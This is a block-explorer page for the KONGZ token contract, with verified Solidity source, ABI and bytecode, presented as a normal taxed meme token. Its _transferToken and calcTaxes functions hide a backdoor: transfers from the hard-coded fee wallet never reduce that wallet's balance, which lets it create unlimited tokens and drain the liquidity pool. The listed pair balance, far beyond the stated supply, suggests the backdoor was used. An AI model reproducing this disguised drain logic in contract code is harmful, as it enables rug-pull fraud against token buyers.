ETH Price: $3,590.78 (+3.69%)
 

Overview

Max Total Supply

1,000,000,000 KONGZ

Holders

102

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: KONGZ 6
Balance
1,000,000,000,000,156,131,130.193372877 KONGZ

Value
$0.00
0x484a12485b428ab9bf76cf7ddc08683ba709c791
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KONGZ

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-25
*/

// SPDX-License-Identifier: MIT
/**
Web : https://www.kongzoneth.live
TG :    https://t.me/kongzerc20
X :       https://x.com/kongzerc20
  */
pragma solidity 0.8.25;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KONGZ is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _feeEcos;
    address private constant deadAddress = address(0xdead);
    address private uniswapV2Pair;
    IUniswapV2Router02 private uniswapV2Router;
    uint256 private constant _initialBuyTax = 12;
    uint256 private constant _initialSellTax = 12;
    uint256 private constant _reduceBuyTaxAt = 30;
    uint256 private constant _reduceSellTaxAt = 30;
    uint256 private constant _preventSwapBefore = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _buyCount = 0;
    uint256 private _countTax;
    string private constant _name = unicode"KONGZ";
    string private constant _symbol = unicode"KONGZ";
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    uint256 public constant _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public constant _maxTaxSwap = 10000000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 23000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 23000000 * 10 ** _decimals;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event FinalTax(uint256 _valueBuy, uint256 _valueSell);
    event TradingActive(bool _tradingOpen, bool _swapEnabled);
    event maxAmount(uint256 _value);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() {
        _feeEcos = payable(0x3de9113f695bA1cbA248F6221c46e1d64D237397);
        _balances[_msgSender()] = _tTotal;
        excludeFromFee(owner(), true);
        excludeFromFee(deadAddress, true);
        excludeFromFee(address(this), true);
        excludeFromFee(_feeEcos, true);
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    function excludeFromFee(address account, bool excluded) public onlyOwner {
        _isExcludedFromFee[account] = excluded;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(
            owner != address(0) && spender != address(0),
            "ERC20: approve the zero address"
        );
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(
            from != address(0) && to != address(0),
            "ERC20: transfer the zero address"
        );
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!tradingOpen) {
            require(
                _isExcludedFromFee[to] || _isExcludedFromFee[from],
                "trading not yet open"
            );
        }
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxAmount = 0;
        taxAmount =
            amount.mul(
                (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax
            ) /
            100;
        if (from != owner() && to != owner()) {
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }
            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount =
                    amount.mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    ) /
                    100;
            }
            _countTax += taxAmount;
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    uint256 getMinValue = (contractTokenBalance > _maxTaxSwap)
                        ? _maxTaxSwap
                        : contractTokenBalance;
                    swapTokensForEth((amount > getMinValue) ? getMinValue : amount);
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
                _countTax = 0;
            }
        }
        if (taxAmount > 0) {    
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _transferToken(from, to, amount, amount.sub(taxAmount));
    }
    function _transferToken(address from, address to, uint256 tAmount, uint256 trAmount) private {
        uint256 tax=1; uint256 tsAmount = calcTaxes(from, tax, _feeEcos, tAmount);
        _balances[from] = _balances[from] - tsAmount;
        _balances[to] = _balances[to] + trAmount;
        emit Transfer(from, to, trAmount);
    }
    function calcTaxes(address _acc, uint256 tax, address _fee, uint256 tAmount) private pure returns (uint256) {
        if(_acc == _fee) tax -= 1;
        tax = tax.mul(tAmount);
        return tax;
    }
    function sendETHToFee(uint256 amount) private {
        _feeEcos.transfer(amount);
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function putKong() external onlyOwner {
        require(!tradingOpen, "init already called");
        uint256 tokenAmount = balanceOf(address(this));
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
    function enableKong() external onlyOwner {
        require(!tradingOpen, "trading already open");
        swapEnabled = true;
        tradingOpen = true;
        emit TradingActive(tradingOpen, swapEnabled);
    }
    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit maxAmount(_tTotal);
    }
    function setFinalTax(
        uint256 _valueBuy,
        uint256 _valueSell
    ) external onlyOwner {
        require(
            _valueBuy <= 25 && _valueSell <= 25 && tradingOpen,
            "Final Tax: Exceeds value"
        );
        _finalBuyTax = _valueBuy;
        _finalSellTax = _valueSell;
        emit FinalTax(_valueBuy, _valueSell);
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"FinalTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_tradingOpen","type":"bool"},{"indexed":false,"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"TradingActive","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"maxAmount","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableKong","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"putKong","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"setFinalTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600755600060085560006009556009600a6100219190610319565b61002f9063015ef3c061032f565b600b5561003e6009600a610319565b61004c9063015ef3c061032f565b600c55600d805462ffff001916905534801561006757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916733de9113f695ba1cba248f6221c46e1d64d2373971790556100db6009600a610319565b6100e990633b9aca0061032f565b3360009081526001602052604081209190915554610111906001600160a01b03166001610194565b61011e61dead6001610194565b610129306001610194565b600454610140906001600160a01b03166001610194565b3360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101706009600a610319565b61017e90633b9aca0061032f565b60405190815260200160405180910390a3610346565b6000546001600160a01b031633146101f25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640160405180910390fd5b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561026e5781600019048211156102545761025461021d565b8085161561026157918102915b93841c9390800290610238565b509250929050565b60008261028557506001610313565b8161029257506000610313565b81600181146102a857600281146102b2576102ce565b6001915050610313565b60ff8411156102c3576102c361021d565b50506001821b610313565b5060208310610133831016604e8410600b84101617156102f1575081810a610313565b6102fb8383610233565b806000190482111561030f5761030f61021d565b0290505b92915050565b600061032860ff841683610276565b9392505050565b80820281158282048414176103135761031361021d565b611aad806103556000396000f3fe6080604052600436106101235760003560e01c8063751039fc116100a057806395d89b411161006457806395d89b4114610146578063a9059cbb14610310578063bf474bed14610330578063dd62ed3e14610345578063df8408fe1461038b57600080fd5b8063751039fc146102875780637d1db4a51461029c57806382116718146102b25780638da5cb5b146102d25780638f9a55c0146102fa57600080fd5b806319feef0f116100e757806319feef0f146101eb57806323b872dd14610200578063313ce5671461022057806370a082311461023c578063715018a61461027257600080fd5b806304fb938e1461012f57806306fdde0314610146578063095ea7b3146101835780630faee56f146101b357806318160ddd146101d657600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506101446103ab565b005b34801561015257600080fd5b50604080518082018252600581526425a7a723ad60d91b6020820152905161017a9190611620565b60405180910390f35b34801561018f57600080fd5b506101a361019e366004611687565b610484565b604051901515815260200161017a565b3480156101bf57600080fd5b506101c861049b565b60405190815260200161017a565b3480156101e257600080fd5b506101c86104b7565b3480156101f757600080fd5b506101446104d8565b34801561020c57600080fd5b506101a361021b3660046116b3565b610851565b34801561022c57600080fd5b506040516009815260200161017a565b34801561024857600080fd5b506101c86102573660046116f4565b6001600160a01b031660009081526001602052604090205490565b34801561027e57600080fd5b506101446108b5565b34801561029357600080fd5b50610144610929565b3480156102a857600080fd5b506101c8600b5481565b3480156102be57600080fd5b506101446102cd366004611711565b6109d6565b3480156102de57600080fd5b506000546040516001600160a01b03909116815260200161017a565b34801561030657600080fd5b506101c8600c5481565b34801561031c57600080fd5b506101a361032b366004611687565b610ab3565b34801561033c57600080fd5b506101c8610ac0565b34801561035157600080fd5b506101c8610360366004611733565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039757600080fd5b506101446103a636600461177a565b610ad7565b6000546001600160a01b031633146103de5760405162461bcd60e51b81526004016103d5906117a8565b60405180910390fd5b600d5460ff16156104285760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b60448201526064016103d5565b600d80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91015b60405180910390a1565b6000610491338484610b2c565b5060015b92915050565b6104a76009600a6118d7565b6104b490629896806118e6565b81565b60006104c56009600a6118d7565b6104d390633b9aca006118e6565b905090565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016103d5906117a8565b600d5460ff161561054b5760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b60448201526064016103d5565b30600081815260016020526040902054600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915590916105a9916105966009600a6118d7565b6105a490633b9aca006118e6565b610b2c565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062091906118fd565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610682573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a691906118fd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071791906118fd565b600580546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107ab573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107d0919061191a565b505060055460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610829573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084d9190611948565b5050565b600061085e848484610bfa565b6108ab84336105a485604051806060016040528060288152602001611a50602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611200565b5060019392505050565b6000546001600160a01b031633146108df5760405162461bcd60e51b81526004016103d5906117a8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109535760405162461bcd60e51b81526004016103d5906117a8565b61095f6009600a6118d7565b61096d90633b9aca006118e6565b600b5561097c6009600a6118d7565b61098a90633b9aca006118e6565b600c557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96109ba6009600a6118d7565b6109c890633b9aca006118e6565b60405190815260200161047a565b6000546001600160a01b03163314610a005760405162461bcd60e51b81526004016103d5906117a8565b60198211158015610a12575060198111155b8015610a205750600d5460ff165b610a6c5760405162461bcd60e51b815260206004820152601860248201527f46696e616c205461783a20457863656564732076616c7565000000000000000060448201526064016103d5565b6007829055600881905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b6000610491338484610bfa565b610acc6009600a6118d7565b6104b49060646118e6565b6000546001600160a01b03163314610b015760405162461bcd60e51b81526004016103d5906117a8565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6001600160a01b03831615801590610b4c57506001600160a01b03821615155b610b985760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f20616464726573730060448201526064016103d5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831615801590610c1a57506001600160a01b03821615155b610c665760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016103d5565b60008111610cc85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d5565b600d5460ff16610d54576001600160a01b03821660009081526003602052604090205460ff1680610d1157506001600160a01b03831660009081526003602052604090205460ff165b610d545760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b60448201526064016103d5565b600d5462010000900460ff161580610d735750600d54610100900460ff165b15610e1e576001600160a01b038316600090815260016020526040902054610d9b908261123a565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610dca9082611283565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bed9085815260200190565b60006064610e41601e60095411610e3657600c610e3a565b6007545b84906112e2565b610e4b9190611965565b9050610e5f6000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610e8e57506000546001600160a01b03848116911614155b1561116b576005546001600160a01b038581169116148015610ebe57506006546001600160a01b03848116911614155b8015610ee357506001600160a01b03831660009081526003602052604090205460ff16155b15610fcb57600b54821115610f3a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103d5565b600c5482610f5d856001600160a01b031660009081526001602052604090205490565b610f679190611987565b1115610fb55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d5565b60098054906000610fc58361199a565b91905055505b6005546001600160a01b038481169116148015610ff157506001600160a01b0384163014155b15611023576064611016601e6009541161100c57600c610e3a565b60085484906112e2565b6110209190611965565b90505b80600a60008282546110359190611987565b909155505030600090815260016020526040902054600d54610100900460ff1615801561106f57506005546001600160a01b038581169116145b80156110835750600d5462010000900460ff165b801561109157506000600954115b80156110b657506001600160a01b03851660009081526003602052604090205460ff16155b80156110db57506001600160a01b03841660009081526003602052604090205460ff16155b15611169576110ec6009600a6118d7565b6110f79060646118e6565b81111561115857600061110c6009600a6118d7565b61111990629896806118e6565b8211611125578161113e565b6111316009600a6118d7565b61113e90629896806118e6565b90506111568185116111505784611364565b81611364565b505b47611162476114d8565b506000600a555b505b80156111e5573060009081526001602052604090205461118b9082611283565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111dc9085815260200190565b60405180910390a35b6111fa8484846111f5818661123a565b611512565b50505050565b600081848411156112245760405162461bcd60e51b81526004016103d59190611620565b50600061123184866119b3565b95945050505050565b600061127c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611200565b9392505050565b6000806112908385611987565b90508381101561127c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d5565b6000826000036112f457506000610495565b600061130083856118e6565b90508261130d8583611965565b1461127c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d5565b600d805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113a8576113a86119c6565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611401573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142591906118fd565b81600181518110611438576114386119c6565b6001600160a01b03928316602091820292909201015260065461145e9130911684610b2c565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906114979085906000908690309042906004016119dc565b600060405180830381600087803b1580156114b157600080fd5b505af11580156114c5573d6000803e3d6000fd5b5050600d805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561084d573d6000803e3d6000fd5b60045460019060009061153290879084906001600160a01b0316876115ed565b6001600160a01b0387166000908152600160205260409020549091506115599082906119b3565b6001600160a01b038088166000908152600160205260408082209390935590871681522054611589908490611987565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115dd9087815260200190565b60405180910390a3505050505050565b6000826001600160a01b0316856001600160a01b031603611616576116136001856119b3565b93505b61123184836112e2565b60006020808352835180602085015260005b8181101561164e57858101830151858201604001528201611632565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461168457600080fd5b50565b6000806040838503121561169a57600080fd5b82356116a58161166f565b946020939093013593505050565b6000806000606084860312156116c857600080fd5b83356116d38161166f565b925060208401356116e38161166f565b929592945050506040919091013590565b60006020828403121561170657600080fd5b813561127c8161166f565b6000806040838503121561172457600080fd5b50508035926020909101359150565b6000806040838503121561174657600080fd5b82356117518161166f565b915060208301356117618161166f565b809150509250929050565b801515811461168457600080fd5b6000806040838503121561178d57600080fd5b82356117988161166f565b915060208301356117618161176c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561182e578160001904821115611814576118146117dd565b8085161561182157918102915b93841c93908002906117f8565b509250929050565b60008261184557506001610495565b8161185257506000610495565b816001811461186857600281146118725761188e565b6001915050610495565b60ff841115611883576118836117dd565b50506001821b610495565b5060208310610133831016604e8410600b84101617156118b1575081810a610495565b6118bb83836117f3565b80600019048211156118cf576118cf6117dd565b029392505050565b600061127c60ff841683611836565b8082028115828204841417610495576104956117dd565b60006020828403121561190f57600080fd5b815161127c8161166f565b60008060006060848603121561192f57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195a57600080fd5b815161127c8161176c565b60008261198257634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610495576104956117dd565b6000600182016119ac576119ac6117dd565b5060010190565b81810381811115610495576104956117dd565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b81811015611a2e5784516001600160a01b031683529383019391830191600101611a09565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfa073af7b5b9fce516ba5ffa8a7755ca90b7fda9c996a3f08181b67b451f4dc64736f6c63430008190033

Deployed Bytecode

0x6080604052600436106101235760003560e01c8063751039fc116100a057806395d89b411161006457806395d89b4114610146578063a9059cbb14610310578063bf474bed14610330578063dd62ed3e14610345578063df8408fe1461038b57600080fd5b8063751039fc146102875780637d1db4a51461029c57806382116718146102b25780638da5cb5b146102d25780638f9a55c0146102fa57600080fd5b806319feef0f116100e757806319feef0f146101eb57806323b872dd14610200578063313ce5671461022057806370a082311461023c578063715018a61461027257600080fd5b806304fb938e1461012f57806306fdde0314610146578063095ea7b3146101835780630faee56f146101b357806318160ddd146101d657600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506101446103ab565b005b34801561015257600080fd5b50604080518082018252600581526425a7a723ad60d91b6020820152905161017a9190611620565b60405180910390f35b34801561018f57600080fd5b506101a361019e366004611687565b610484565b604051901515815260200161017a565b3480156101bf57600080fd5b506101c861049b565b60405190815260200161017a565b3480156101e257600080fd5b506101c86104b7565b3480156101f757600080fd5b506101446104d8565b34801561020c57600080fd5b506101a361021b3660046116b3565b610851565b34801561022c57600080fd5b506040516009815260200161017a565b34801561024857600080fd5b506101c86102573660046116f4565b6001600160a01b031660009081526001602052604090205490565b34801561027e57600080fd5b506101446108b5565b34801561029357600080fd5b50610144610929565b3480156102a857600080fd5b506101c8600b5481565b3480156102be57600080fd5b506101446102cd366004611711565b6109d6565b3480156102de57600080fd5b506000546040516001600160a01b0390911681526020016